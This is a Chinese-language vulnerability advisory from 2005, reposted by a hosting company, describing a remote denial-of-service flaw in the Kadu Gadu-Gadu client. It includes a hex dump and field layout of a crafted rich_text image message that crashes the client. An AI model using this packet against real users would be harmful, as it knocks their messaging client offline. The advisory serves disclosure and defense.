Kadu远程拒绝服务漏洞

发布日期：2005-11-28
更新日期：2005-11-30

受影响系统：

Kadu Kadu 0.5.0pre
Kadu Kadu 0.4.2

描述：

---

BUGTRAQ ID: 15620

Kadu是Gadu-Gadu即时消息通讯的开放源码客户端。

Kadu中存在拒绝服务漏洞。攻击者可以通过Gadu-Gadu服务器向特定UIN发送仅有rich_text基本图形信息的消息，导致Kadu停止响应或立即关闭。

<*来源：Michal Gizowski （michal@tux.bz）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113321209020498&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

0x0040: XXXX 0a00 0000 2b00 0000 XXXX XXXX 9e05 .G.... .........
0x0050: 0000 4954 8a43 0800 0000 4141 4141 4141 ..IT.C....AAAAAA
0x0060: 4100 0210 0001 0004 0000 0009 01cc cccc A...............
0x0070: ccbb bbbb bb .....

0x0042-0x0045 Type of packet. In this case 0x0a means incomming message
0x0046-0x0049 Length of the rest
0x004a-0x004d source UIN
0x004e-0x0051 seq. number
0x0052-0x0055 time
0x0056-0x0059 class of message
0x005a-0x0061 text "AAAAAAA\0"
0x0062 init rich_text
0x0063-0x0064 Length of the rest
0x0065-0x0066 position in text
0x0067 font atribute
0x0068-0x006a color in rgb
0x006b-0x006c unknown
0x006d-0x0070 image size
0x0071-0x0074 crc32 of image

建议：

---

厂商补丁：

Kadu
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.kadu.net/index.php?page=news&lang=en

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!